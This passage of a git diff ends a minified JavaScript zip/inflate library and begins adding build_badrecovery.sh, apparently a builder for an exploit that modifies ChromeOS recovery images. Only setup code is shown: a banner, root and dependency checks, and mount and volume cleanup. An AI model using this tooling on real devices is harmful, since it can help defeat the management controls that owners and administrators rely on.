rt=-2,st=-3,it=-5,ot=[0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535],ct=[96,7,256,0,8,80,0,8,16,84,8,115,82,7,31,0,8,112,0,8,48,0,9,192,80,7,10,0,8,96,0,8,32,0,9,160,0,8,0,0,8,128,0,8,64,0,9,224,80,7,6,0,8,88,0,8,24,0,9,144,83,7,59,0,8,120,0,8,56,0,9,208,81,7,17,0,8,104,0,8,40,0,9,176,0,8,8,0,8,136,0,8,72,0,9,240,80,7,4,0,8,84,0,8,20,85,8,227,83,7,43,0,8,116,0,8,52,0,9,200,81,7,13,0,8,100,0,8,36,0,9,168,0,8,4,0,8,132,0,8,68,0,9,232,80,7,8,0,8,92,0,8,28,0,9,152,84,7,83,0,8,124,0,8,60,0,9,216,82,7,23,0,8,108,0,8,44,0,9,184,0,8,12,0,8,140,0,8,76,0,9,248,80,7,3,0,8,82,0,8,18,85,8,163,83,7,35,0,8,114,0,8,50,0,9,196,81,7,11,0,8,98,0,8,34,0,9,164,0,8,2,0,8,130,0,8,66,0,9,228,80,7,7,0,8,90,0,8,26,0,9,148,84,7,67,0,8,122,0,8,58,0,9,212,82,7,19,0,8,106,0,8,42,0,9,180,0,8,10,0,8,138,0,8,74,0,9,244,80,7,5,0,8,86,0,8,22,192,8,0,83,7,51,0,8,118,0,8,54,0,9,204,81,7,15,0,8,102,0,8,38,0,9,172,0,8,6,0,8,134,0,8,70,0,9,236,80,7,9,0,8,94,0,8,30,0,9,156,84,7,99,0,8,126,0,8,62,0,9,220,82,7,27,0,8,110,0,8,46,0,9,188,0,8,14,0,8,142,0,8,78,0,9,252,96,7,256,0,8,81,0,8,17,85,8,131,82,7,31,0,8,113,0,8,49,0,9,194,80,7,10,0,8,97,0,8,33,0,9,162,0,8,1,0,8,129,0,8,65,0,9,226,80,7,6,0,8,89,0,8,25,0,9,146,83,7,59,0,8,121,0,8,57,0,9,210,81,7,17,0,8,105,0,8,41,0,9,178,0,8,9,0,8,137,0,8,73,0,9,242,80,7,4,0,8,85,0,8,21,80,8,258,83,7,43,0,8,117,0,8,53,0,9,202,81,7,13,0,8,101,0,8,37,0,9,170,0,8,5,0,8,133,0,8,69,0,9,234,80,7,8,0,8,93,0,8,29,0,9,154,84,7,83,0,8,125,0,8,61,0,9,218,82,7,23,0,8,109,0,8,45,0,9,186,0,8,13,0,8,141,0,8,77,0,9,250,80,7,3,0,8,83,0,8,19,85,8,195,83,7,35,0,8,115,0,8,51,0,9,198,81,7,11,0,8,99,0,8,35,0,9,166,0,8,3,0,8,131,0,8,67,0,9,230,80,7,7,0,8,91,0,8,27,0,9,150,84,7,67,0,8,123,0,8,59,0,9,214,82,7,19,0,8,107,0,8,43,0,9,182,0,8,11,0,8,139,0,8,75,0,9,246,80,7,5,0,8,87,0,8,23,192,8,0,83,7,51,0,8,119,0,8,55,0,9,206,81,7,15,0,8,103,0,8,39,0,9,174,0,8,7,0,8,135,0,8,71,0,9,238,80,7,9,0,8,95,0,8,31,0,9,158,84,7,99,0,8,127,0,8,63,0,9,222,82,7,27,0,8,111,0,8,47,0,9,190,0,8,15,0,8,143,0,8,79,0,9,254,96,7,256,0,8,80,0,8,16,84,8,115,82,7,31,0,8,112,0,8,48,0,9,193,80,7,10,0,8,96,0,8,32,0,9,161,0,8,0,0,8,128,0,8,64,0,9,225,80,7,6,0,8,88,0,8,24,0,9,145,83,7,59,0,8,120,0,8,56,0,9,209,81,7,17,0,8,104,0,8,40,0,9,177,0,8,8,0,8,136,0,8,72,0,9,241,80,7,4,0,8,84,0,8,20,85,8,227,83,7,43,0,8,116,0,8,52,0,9,201,81,7,13,0,8,100,0,8,36,0,9,169,0,8,4,0,8,132,0,8,68,0,9,233,80,7,8,0,8,92,0,8,28,0,9,153,84,7,83,0,8,124,0,8,60,0,9,217,82,7,23,0,8,108,0,8,44,0,9,185,0,8,12,0,8,140,0,8,76,0,9,249,80,7,3,0,8,82,0,8,18,85,8,163,83,7,35,0,8,114,0,8,50,0,9,197,81,7,11,0,8,98,0,8,34,0,9,165,0,8,2,0,8,130,0,8,66,0,9,229,80,7,7,0,8,90,0,8,26,0,9,149,84,7,67,0,8,122,0,8,58,0,9,213,82,7,19,0,8,106,0,8,42,0,9,181,0,8,10,0,8,138,0,8,74,0,9,245,80,7,5,0,8,86,0,8,22,192,8,0,83,7,51,0,8,118,0,8,54,0,9,205,81,7,15,0,8,102,0,8,38,0,9,173,0,8,6,0,8,134,0,8,70,0,9,237,80,7,9,0,8,94,0,8,30,0,9,157,84,7,99,0,8,126,0,8,62,0,9,221,82,7,27,0,8,110,0,8,46,0,9,189,0,8,14,0,8,142,0,8,78,0,9,253,96,7,256,0,8,81,0,8,17,85,8,131,82,7,31,0,8,113,0,8,49,0,9,195,80,7,10,0,8,97,0,8,33,0,9,163,0,8,1,0,8,129,0,8,65,0,9,227,80,7,6,0,8,89,0,8,25,0,9,147,83,7,59,0,8,121,0,8,57,0,9,211,81,7,17,0,8,105,0,8,41,0,9,179,0,8,9,0,8,137,0,8,73,0,9,243,80,7,4,0,8,85,0,8,21,80,8,258,83,7,43,0,8,117,0,8,53,0,9,203,81,7,13,0,8,101,0,8,37,0,9,171,0,8,5,0,8,133,0,8,69,0,9,235,80,7,8,0,8,93,0,8,29,0,9,155,84,7,83,0,8,125,0,8,61,0,9,219,82,7,23,0,8,109,0,8,45,0,9,187,0,8,13,0,8,141,0,8,77,0,9,251,80,7,3,0,8,83,0,8,19,85,8,195,83,7,35,0,8,115,0,8,51,0,9,199,81,7,11,0,8,99,0,8,35,0,9,167,0,8,3,0,8,131,0,8,67,0,9,231,80,7,7,0,8,91,0,8,27,0,9,151,84,7,67,0,8,123,0,8,59,0,9,215,82,7,19,0,8,107,0,8,43,0,9,183,0,8,11,0,8,139,0,8,75,0,9,247,80,7,5,0,8,87,0,8,23,192,8,0,83,7,51,0,8,119,0,8,55,0,9,207,81,7,15,0,8,103,0,8,39,0,9,175,0,8,7,0,8,135,0,8,71,0,9,239,80,7,9,0,8,95,0,8,31,0,9,159,84,7,99,0,8,127,0,8,63,0,9,223,82,7,27,0,8,111,0,8,47,0,9,191,0,8,15,0,8,143,0,8,79,0,9,255],ft=[80,5,1,87,5,257,83,5,17,91,5,4097,81,5,5,89,5,1025,85,5,65,93,5,16385,80,5,3,88,5,513,84,5,33,92,5,8193,82,5,9,90,5,2049,86,5,129,192,5,24577,80,5,2,87,5,385,83,5,25,91,5,6145,81,5,7,89,5,1537,85,5,97,93,5,24577,80,5,4,88,5,769,84,5,49,92,5,12289,82,5,13,90,5,3073,86,5,193,192,5,24577],at=[3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,51,59,67,83,99,115,131,163,195,227,258,0,0],lt=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,112,112],ut=[1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577],wt=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13];function ht(){let e,t,n,r,s,i;function o(e,t,o,c,f,a,l,u,w,h,d){let p,y,m,b,g,k,v,S,z,C,x,A,_,I,P;C=0,g=o;do{n[e[t+C]]++,C++,g--}while(0!==g);if(n[0]==o)return l[0]=-1,u[0]=0,0;for(S=u[0],k=1;15>=k&&0===n[k];k++);for(v=k,k>S&&(S=k),g=15;0!==g&&0===n[g];g--);for(m=g,S>g&&(S=g),u[0]=S,I=1<k;k++,I<<=1)if(0>(I-=n[k]))return st;if(0>(I-=n[g]))return st;for(n[g]+=I,i[1]=k=0,C=1,_=2;0!=--g;)i[_]=k+=n[C],_++,C++;g=0,C=0;do{0!==(k=e[t+C])&&(d[i[k]++]=g),C++}while(++g=v;v++)for(p=n[v];0!=p--;){for(;v>A+S;){if(b++,A+=S,P=m-A,P=P>S?S:P,(y=1<<(k=v-A))>p+1&&(y-=p+1,_=v,P>k))for(;++kn[++_];)y-=n[_];if(P=1<1440)return st;s[b]=x=h[0],h[0]+=P,0!==b?(i[b]=g,r[0]=k,r[1]=S,k=g>>>A-S,r[2]=x-s[b-1]-k,w.set(r,3*(s[b-1]+k))):l[0]=x}for(r[1]=v-A,o>C?d[C]d[C]?0:96,r[2]=d[C++]):(r[0]=a[d[C]-c]+16+64,r[2]=f[d[C++]-c]):r[0]=192,y=1<>>A;P>k;k+=y)w.set(r,3*(x+k));for(k=1<>>=1)g^=k;for(g^=k,z=(1<c;c++)t[c]=0;for(c=0;16>c;c++)n[c]=0;for(c=0;3>c;c++)r[c]=0;s.set(n.subarray(0,15),0),i.set(n.subarray(0,16),0)}this.st=(n,r,s,i,f)=>{let a;return c(19),e[0]=0,a=o(n,0,19,19,null,null,s,r,i,e,t),a==st?f.Le="oversubscribed dynamic bit lengths tree":a!=it&&0!==r[0]||(f.Le="incomplete dynamic bit lengths tree",a=st),a},this.it=(n,r,s,i,f,a,l,u,w)=>{let h;return c(288),e[0]=0,h=o(s,0,n,257,at,lt,a,i,u,e,t),0!=h||0===i[0]?(h==st?w.Le="oversubscribed literal/length tree":-4!=h&&(w.Le="incomplete literal/length tree",h=st),h):(c(288),h=o(s,n,r,0,ut,wt,l,f,u,e,t),0!=h||0===f[0]&&n>257?(h==st?w.Le="oversubscribed distance tree":h==it?(w.Le="incomplete distance tree",h=st):-4!=h&&(w.Le="empty distance tree with lengths",h=st),h):0)}}function dt(){const e=this;let t,n,r,s,i=0,o=0,c=0,f=0,a=0,l=0,u=0,w=0,h=0,d=0;function p(e,t,n,r,s,i,o,c){let f,a,l,u,w,h,d,p,y,m,b,g,k,v,S,z;d=c.nt,p=c.We,w=o.ot,h=o.ct,y=o.write,m=yh;)p--,w|=(255&c.ft(d++))<>=a[z+1],h-=a[z+1],0!=(16&u)){for(u&=15,k=a[z+2]+(w&ot[u]),w>>=u,h-=u;15>h;)p--,w|=(255&c.ft(d++))<>=a[z+1],h-=a[z+1],0!=(16&u)){for(u&=15;u>h;)p--,w|=(255&c.ft(d++))<>=u,h-=u,m-=k,v>y){S=y-v;do{S+=o.end}while(0>S);if(u=o.end-S,k>u){if(k-=u,y-S>0&&u>y-S)do{o.lt[y++]=o.lt[S++]}while(0!=--u);else o.lt.set(o.lt.subarray(S,S+u),y),y+=u,S+=u,u=0;S=0}}else S=y-v,y-S>0&&2>y-S?(o.lt[y++]=o.lt[S++],o.lt[y++]=o.lt[S++],k-=2):(o.lt.set(o.lt.subarray(S,S+2),y),y+=2,S+=2,k-=2);if(y-S>0&&k>y-S)do{o.lt[y++]=o.lt[S++]}while(0!=--k);else o.lt.set(o.lt.subarray(S,S+k),y),y+=k,S+=k,k=0;break}if(0!=(64&u))return c.Le="invalid distance code",k=c.We-p,k=k>h>>3?h>>3:k,p+=k,d-=k,h-=k<<3,o.ot=w,o.ct=h,c.We=p,c.qe+=d-c.nt,c.nt=d,o.write=y,st;f+=a[z+2],f+=w&ot[u],z=3*(l+f),u=a[z]}break}if(0!=(64&u))return 0!=(32&u)?(k=c.We-p,k=k>h>>3?h>>3:k,p+=k,d-=k,h-=k<<3,o.ot=w,o.ct=h,c.We=p,c.qe+=d-c.nt,c.nt=d,o.write=y,1):(c.Le="invalid literal/length code",k=c.We-p,k=k>h>>3?h>>3:k,p+=k,d-=k,h-=k<<3,o.ot=w,o.ct=h,c.We=p,c.qe+=d-c.nt,c.nt=d,o.write=y,st);if(f+=a[z+2],f+=w&ot[u],z=3*(l+f),0===(u=a[z])){w>>=a[z+1],h-=a[z+1],o.lt[y++]=a[z+2],m--;break}}else w>>=a[z+1],h-=a[z+1],o.lt[y++]=a[z+2],m--}while(m>=258&&p>=10);return k=c.We-p,k=k>h>>3?h>>3:k,p+=k,d-=k,h-=k<<3,o.ot=w,o.ct=h,c.We=p,c.qe+=d-c.nt,c.nt=d,o.write=y,0}e.init=(e,i,o,c,f,a)=>{t=0,u=e,w=i,r=o,h=c,s=f,d=a,n=null},e.ut=(e,y,m)=>{let b,g,k,v,S,z,C,x=0,A=0,_=0;for(_=y.nt,v=y.We,x=e.ot,A=e.ct,S=e.write,z=S=258&&v>=10&&(e.ot=x,e.ct=A,y.We=v,y.qe+=_-y.nt,y.nt=_,e.write=S,m=p(u,w,r,h,s,d,e,y),_=y.nt,v=y.We,x=e.ot,A=e.ct,S=e.write,z=SA;){if(0===v)return e.ot=x,e.ct=A,y.We=v,y.qe+=_-y.nt,y.nt=_,e.write=S,e.wt(y,m);m=0,v--,x|=(255&y.ft(_++))<>>=n[g+1],A-=n[g+1],k=n[g],0===k){f=n[g+2],t=6;break}if(0!=(16&k)){a=15&k,i=n[g+2],t=2;break}if(0==(64&k)){c=k,o=g/3+n[g+2];break}if(0!=(32&k)){t=7;break}return t=9,y.Le="invalid literal/length code",m=st,e.ot=x,e.ct=A,y.We=v,y.qe+=_-y.nt,y.nt=_,e.write=S,e.wt(y,m);case 2:for(b=a;b>A;){if(0===v)return e.ot=x,e.ct=A,y.We=v,y.qe+=_-y.nt,y.nt=_,e.write=S,e.wt(y,m);m=0,v--,x|=(255&y.ft(_++))<>=b,A-=b,c=w,n=s,o=d,t=3;case 3:for(b=c;b>A;){if(0===v)return e.ot=x,e.ct=A,y.We=v,y.qe+=_-y.nt,y.nt=_,e.write=S,e.wt(y,m);m=0,v--,x|=(255&y.ft(_++))<>=n[g+1],A-=n[g+1],k=n[g],0!=(16&k)){a=15&k,l=n[g+2],t=4;break}if(0==(64&k)){c=k,o=g/3+n[g+2];break}return t=9,y.Le="invalid distance code",m=st,e.ot=x,e.ct=A,y.We=v,y.qe+=_-y.nt,y.nt=_,e.write=S,e.wt(y,m);case 4:for(b=a;b>A;){if(0===v)return e.ot=x,e.ct=A,y.We=v,y.qe+=_-y.nt,y.nt=_,e.write=S,e.wt(y,m);m=0,v--,x|=(255&y.ft(_++))<>=b,A-=b,t=5;case 5:for(C=S-l;0>C;)C+=e.end;for(;0!==i;){if(0===z&&(S==e.end&&0!==e.read&&(S=0,z=S7&&(A-=8,v++,_--),e.write=S,m=e.wt(y,m),S=e.write,z=S{}}ht.dt=(e,t,n,r)=>(e[0]=9,t[0]=5,n[0]=ct,r[0]=ft,0);const pt=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15];function yt(e,t){const n=this;let r,s=0,o=0,c=0,a=0;const l=[0],u=[0],w=new dt;let h=0,d=new f(4320);const p=new ht;n.ct=0,n.ot=0,n.lt=new i(t),n.end=t,n.read=0,n.write=0,n.reset=(e,t)=>{t&&(t[0]=0),6==s&&w.ht(e),s=0,n.ct=0,n.ot=0,n.read=n.write=0},n.reset(e,null),n.wt=(e,t)=>{let r,s,i;return s=e.rt,i=n.read,r=(i>n.write?n.end:n.write)-i,r>e.tt&&(r=e.tt),0!==r&&t==it&&(t=0),e.tt-=r,e.Ge+=r,e.$e.set(n.lt.subarray(i,i+r),s),s+=r,i+=r,i==n.end&&(i=0,n.write==n.end&&(n.write=0),r=n.write-i,r>e.tt&&(r=e.tt),0!==r&&t==it&&(t=0),e.tt-=r,e.Ge+=r,e.$e.set(n.lt.subarray(i,i+r),s),s+=r,i+=r),e.rt=s,n.read=i,t},n.ut=(e,t)=>{let i,f,y,m,b,g,k,v;for(m=e.nt,b=e.We,f=n.ot,y=n.ct,g=n.write,k=gy;){if(0===b)return n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);t=0,b--,f|=(255&e.ft(m++))<>>1){case 0:f>>>=3,y-=3,i=7&y,f>>>=i,y-=i,s=1;break;case 1:S=[],z=[],C=[[]],x=[[]],ht.dt(S,z,C,x),w.init(S[0],z[0],C[0],0,x[0],0),f>>>=3,y-=3,s=6;break;case 2:f>>>=3,y-=3,s=3;break;case 3:return f>>>=3,y-=3,s=9,e.Le="invalid block type",t=st,n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t)}break;case 1:for(;32>y;){if(0===b)return n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);t=0,b--,f|=(255&e.ft(m++))<>>16&65535)!=(65535&f))return s=9,e.Le="invalid stored block lengths",t=st,n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);o=65535&f,f=y=0,s=0!==o?2:0!==h?7:0;break;case 2:if(0===b)return n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);if(0===k&&(g==n.end&&0!==n.read&&(g=0,k=gb&&(i=b),i>k&&(i=k),n.lt.set(e.je(m,i),g),m+=i,b-=i,g+=i,k-=i,0!=(o-=i))break;s=0!==h?7:0;break;case 3:for(;14>y;){if(0===b)return n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);t=0,b--,f|=(255&e.ft(m++))<29||(i>>5&31)>29)return s=9,e.Le="too many length or distance symbols",t=st,n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);if(i=258+(31&i)+(i>>5&31),!r||r.lengthv;v++)r[v]=0;f>>>=14,y-=14,a=0,s=4;case 4:for(;4+(c>>>10)>a;){for(;3>y;){if(0===b)return n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);t=0,b--,f|=(255&e.ft(m++))<>>=3,y-=3}for(;19>a;)r[pt[a++]]=0;if(l[0]=7,i=p.st(r,l,u,d,e),0!=i)return(t=i)==st&&(r=null,s=9),n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);a=0,s=5;case 5:for(;i=c,258+(31&i)+(i>>5&31)>a;){let o,w;for(i=l[0];i>y;){if(0===b)return n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);t=0,b--,f|=(255&e.ft(m++))<w)f>>>=i,y-=i,r[a++]=w;else{for(v=18==w?7:w-14,o=18==w?11:3;i+v>y;){if(0===b)return n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);t=0,b--,f|=(255&e.ft(m++))<>>=i,y-=i,o+=f&ot[v],f>>>=v,y-=v,v=a,i=c,v+o>258+(31&i)+(i>>5&31)||16==w&&1>v)return r=null,s=9,e.Le="invalid bit length repeat",t=st,n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);w=16==w?r[v-1]:0;do{r[v++]=w}while(0!=--o);a=v}}if(u[0]=-1,A=[],_=[],I=[],P=[],A[0]=9,_[0]=6,i=c,i=p.it(257+(31&i),1+(i>>5&31),r,A,_,I,P,d,e),0!=i)return i==st&&(r=null,s=9),t=i,n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,n.wt(e,t);w.init(A[0],_[0],d,I[0],d,P[0]),s=6;case 6:if(n.ot=f,n.ct=y,e.We=b,e.qe+=m-e.nt,e.nt=m,n.write=g,1!=(t=w.ut(n,e,t)))return n.wt(e,t);if(t=0,w.ht(e),m=e.nt,b=e.We,f=n.ot,y=n.ct,g=n.write,k=g{n.reset(e,null),n.lt=null,d=null},n.yt=(e,t,r)=>{n.lt.set(e.subarray(t,t+r),0),n.read=n.write=r},n.bt=()=>1==s?1:0}const mt=13,bt=[0,0,255,255];function gt(){const e=this;function t(e){return e&&e.gt?(e.qe=e.Ge=0,e.Le=null,e.gt.mode=7,e.gt.kt.reset(e,null),0):rt}e.mode=0,e.method=0,e.vt=[0],e.St=0,e.marker=0,e.zt=0,e.Ct=t=>(e.kt&&e.kt.ht(t),e.kt=null,0),e.xt=(n,r)=>(n.Le=null,e.kt=null,8>r||r>15?(e.Ct(n),rt):(e.zt=r,n.gt.kt=new yt(n,1<{let n,r;if(!e||!e.gt||!e.et)return rt;const s=e.gt;for(t=4==t?it:0,n=it;;)switch(s.mode){case 0:if(0===e.We)return n;if(n=t,e.We--,e.qe++,8!=(15&(s.method=e.ft(e.nt++)))){s.mode=mt,e.Le="unknown compression method",s.marker=5;break}if(8+(s.method>>4)>s.zt){s.mode=mt,e.Le="invalid win size",s.marker=5;break}s.mode=1;case 1:if(0===e.We)return n;if(n=t,e.We--,e.qe++,r=255&e.ft(e.nt++),((s.method<<8)+r)%31!=0){s.mode=mt,e.Le="incorrect header check",s.marker=5;break}if(0==(32&r)){s.mode=7;break}s.mode=2;case 2:if(0===e.We)return n;n=t,e.We--,e.qe++,s.St=(255&e.ft(e.nt++))<<24&4278190080,s.mode=3;case 3:if(0===e.We)return n;n=t,e.We--,e.qe++,s.St+=(255&e.ft(e.nt++))<<16&16711680,s.mode=4;case 4:if(0===e.We)return n;n=t,e.We--,e.qe++,s.St+=(255&e.ft(e.nt++))<<8&65280,s.mode=5;case 5:return 0===e.We?n:(n=t,e.We--,e.qe++,s.St+=255&e.ft(e.nt++),s.mode=6,2);case 6:return s.mode=mt,e.Le="need dictionary",s.marker=0,rt;case 7:if(n=s.kt.ut(e,n),n==st){s.mode=mt,s.marker=0;break}if(0==n&&(n=t),1!=n)return n;n=t,s.kt.reset(e,s.vt),s.mode=12;case 12:return e.We=0,1;case mt:return st;default:return rt}},e._t=(e,t,n)=>{let r=0,s=n;if(!e||!e.gt||6!=e.gt.mode)return rt;const i=e.gt;return s<1<{let n,r,s,i,o;if(!e||!e.gt)return rt;const c=e.gt;if(c.mode!=mt&&(c.mode=mt,c.marker=0),0===(n=e.We))return it;for(r=e.nt,s=c.marker;0!==n&&4>s;)e.ft(r)==bt[s]?s++:s=0!==e.ft(r)?0:4-s,r++,n--;return e.qe+=r-e.nt,e.nt=r,e.We=n,c.marker=s,4!=s?st:(i=e.qe,o=e.Ge,t(e),e.qe=i,e.Ge=o,c.mode=7,0)},e.Pt=e=>e&&e.gt&&e.gt.kt?e.gt.kt.bt():rt}function kt(){}function vt(e){const t=new kt,n=e&&e.chunkSize?r.floor(2*e.chunkSize):131072,o=new i(n);let c=!1;t.xt(),t.$e=o,this.append=(e,r)=>{const f=[];let a,l,u=0,w=0,h=0;if(0!==e.length){t.nt=0,t.et=e,t.We=e.length;do{if(t.rt=0,t.tt=n,0!==t.We||c||(t.nt=0,c=!0),a=t.At(0),c&&a===it){if(0!==t.We)throw new s("inflating: bad input")}else if(0!==a&&1!==a)throw new s("inflating: "+t.Le);if((c||1===a)&&t.We===e.length)throw new s("inflating: bad input");t.rt&&(t.rt===n?f.push(new i(o)):f.push(o.subarray(0,t.rt))),h+=t.rt,r&&t.nt>0&&t.nt!=u&&(r(t.nt),u=t.nt)}while(t.We>0||0===t.tt);return f.length>1?(l=new i(h),f.forEach((e=>{l.set(e,w),w+=e.length}))):l=f[0]?new i(f[0]):new i,l}},this.flush=()=>{t.Ct()}}kt.prototype={xt(e){const t=this;return t.gt=new gt,e||(e=15),t.gt.xt(t,e)},At(e){const t=this;return t.gt?t.gt.At(t,e):rt},Ct(){const e=this;if(!e.gt)return rt;const t=e.gt.Ct(e);return e.gt=null,t},It(){const e=this;return e.gt?e.gt.It(e):rt},_t(e,t){const n=this;return n.gt?n.gt._t(n,e,t):rt},ft(e){return this.et[e]},je(e,t){return this.et.subarray(e,e+t)}},self.initCodec=()=>{self.Deflate=nt,self.Inflate=vt};\n'],{type:"text/javascript"}));e({workerScripts:{inflate:[t],deflate:[t]}})})($),e.BlobReader=Ut,e.BlobWriter=It,e.Data64URIReader=class extends Tt{constructor(e){super();let t=e.length;for(;"="==e.charAt(t-1);)t--;const r=e.indexOf(",")+1;n.assign(this,{dataURI:e,dataStart:r,size:a.floor(.75*(t-r))})}readUint8Array(e,t){const{dataStart:n,dataURI:r}=this,s=new w(t),i=4*a.floor(e/3),o=atob(r.substring(i+n,4*a.ceil((e+t)/3)+n)),c=e-3*a.floor(i/4);for(let e=c;c+t>e;e++)s[e-c]=o.charCodeAt(e);return s}},e.Data64URIWriter=class extends Lt{constructor(e){super(),n.assign(this,{data:"data:"+(e||"")+";base64,",pending:[]})}writeUint8Array(e){const t=this;let n=0,s=t.pending;const i=t.pending.length;for(t.pending="",n=0;n<3*a.floor((i+e.length)/3)-i;n++)s+=r.fromCharCode(e[n]);for(;n2?t.data+=v(s):t.pending=s}getData(){return this.data+v(this.pending)}},e.ERR_BAD_FORMAT=_n,e.ERR_CENTRAL_DIRECTORY_NOT_FOUND=Rn,e.ERR_DUPLICATED_NAME=er,e.ERR_ENCRYPTED=Tn,e.ERR_EOCDR_LOCATOR_ZIP64_NOT_FOUND=Wn,e.ERR_EOCDR_NOT_FOUND=Cn,e.ERR_EOCDR_ZIP64_NOT_FOUND=Dn,e.ERR_EXTRAFIELD_ZIP64_NOT_FOUND=En,e.ERR_HTTP_RANGE=_t,e.ERR_INVALID_COMMENT=tr,e.ERR_INVALID_ENCRYPTION_STRENGTH=ir,e.ERR_INVALID_ENTRY_COMMENT=nr,e.ERR_INVALID_ENTRY_NAME=rr,e.ERR_INVALID_EXTRAFIELD_DATA=or,e.ERR_INVALID_EXTRAFIELD_TYPE=ar,e.ERR_INVALID_PASSWORD=de,e.ERR_INVALID_SIGNATURE=we,e.ERR_INVALID_VERSION=sr,e.ERR_ITERATOR_COMPLETED_TOO_SOON=Ct,e.ERR_LOCAL_FILE_HEADER_NOT_FOUND=Fn,e.ERR_SPLIT_ZIP_FILE=In,e.ERR_UNSUPPORTED_COMPRESSION=Un,e.ERR_UNSUPPORTED_ENCRYPTION=Ln,e.ERR_UNSUPPORTED_FORMAT=cr,e.HttpRangeReader=class extends jt{constructor(e,t={}){t.useRangeHeader=!0,super(e,t)}},e.HttpReader=jt,e.Reader=Tt,e.SplitDataReader=Jt,e.SplitDataWriter=Qt,e.SplitZipReader=rn,e.SplitZipWriter=sn,e.TextReader=class extends Ut{constructor(e){super(new m([e],{type:"text/plain"}))}},e.TextWriter=class extends It{constructor(e){super(e),n.assign(this,{encoding:e,utf8:!e||"utf-8"==e.toLowerCase()})}async getData(){const{encoding:e,utf8:t}=this,r=await super.getData();if(r.text&&t)return r.text();{const t=new FileReader;return new y(((s,i)=>{n.assign(t,{onload:({target:e})=>s(e.result),onerror:()=>i(t.error)}),t.readAsText(r,e)}))}}},e.Uint8ArrayReader=class extends Tt{constructor(e){super(),n.assign(this,{array:e,size:e.length})}readUint8Array(e,t){return this.array.slice(e,e+t)}},e.Uint8ArrayWriter=class extends Lt{init(e=0){n.assign(this,{offset:0,array:new w(e)}),super.init()}writeUint8Array(e){const t=this;if(t.offset+e.length>t.array.length){const n=t.array;t.array=new w(n.length+e.length),t.array.set(n)}t.array.set(e,t.offset),t.offset+=e.length}getData(){return this.array}},e.Writer=Lt,e.ZipReader=Hn,e.ZipReaderStream=class{constructor(e={}){const{readable:t,writable:n}=new x,r=new Hn(t,e).getEntriesGenerator();this.readable=new A({async pull(e){const{done:t,value:n}=await r.next();if(t)return e.close();const s={...n,readable:(()=>{const{readable:e,writable:t}=new x;if(n.getData)return n.getData(t),e})()};delete s.getData,e.enqueue(s)}}),this.writable=n}},e.ZipWriter=dr,e.ZipWriterStream=class{constructor(e={}){const{readable:t,writable:n}=new x;this.readable=t,this.zipWriter=new dr(n,e)}transform(e){const{readable:t,writable:n}=new x({flush:()=>{this.zipWriter.close()}});return this.zipWriter.add(e,t),{readable:this.readable,writable:n}}writable(e){const{readable:t,writable:n}=new x;return this.zipWriter.add(e,t),n}close(e,t={}){return this.zipWriter.close(e,t)}},e.configure=$,e.getMimeType=()=>"application/octet-stream",e.initReader=en,e.initShimAsyncCodec=(e,t={},n)=>({Deflate:te(e.Deflate,t.deflate,n),Inflate:te(e.Inflate,t.inflate,n)}),e.initStream=$t,e.initWriter=tn,e.readUint8Array=nn,e.terminateWorkers=async()=>{await y.allSettled(St.map((e=>(xt(e),e.terminate()))))},n.defineProperty(e,"__esModule",{value:!0})})); diff --git a/build_badrecovery.sh b/build_badrecovery.sh new file mode 100644 index 0000000..195e43b --- /dev/null +++ b/build_badrecovery.sh @@ -0,0 +1,765 @@ +#!/usr/bin/env bash +# shellcheck disable=SC2086 +SCRIPT_DIR=$(dirname "$0") +SCRIPT_DIR=${SCRIPT_DIR:-"."} +. "$SCRIPT_DIR/lib/wax_common.sh" + +set -eE + +SCRIPT_DATE="2024-10-01" + +echo "┌────────────────────────────────────────────────────────────────┐" +echo "│ Welcome to the BadRecovery builder │" +echo "│ Credits: OlyB │" +echo "│ https://github.com/BinBashBanana/badrecovery │" +echo "│ Script date: $SCRIPT_DATE │" +echo "└────────────────────────────────────────────────────────────────┘" + +[ "$EUID" -ne 0 ] && fail "Please run as root" +missing_deps=$(check_deps partx sgdisk mkfs.ext4 cryptsetup lvm numfmt tar) +[ -n "$missing_deps" ] && fail "The following required commands weren't found in PATH:\n${missing_deps}" + +IMAGE_SIZE_BUFFER=$((1 * 1024 * 1024 * 1024)) # 1 GiB should be sufficient +TEMPFILES=() +LOOPDEV= +LOOPDEV2= +VG_NAME= +MNT_ROOT= +MNT_STATE= +MNT_ENCSTATEFUL= + +cleanup() { + if [ -d "$MNT_ENCSTATEFUL" ]; then + umount "$MNT_ENCSTATEFUL" && rmdir "$MNT_ENCSTATEFUL" + cryptsetup close "$ENCSTATEFUL_NAME" || : + fi + [ -d "$MNT_STATE" ] && umount "$MNT_STATE" && rmdir "$MNT_STATE" + [ -d "$MNT_ROOT" ] && umount "$MNT_ROOT" && rmdir "$MNT_ROOT" + if [ -n "$VG_NAME" ]; then + lvm vgchange -an "$VG_NAME" || : 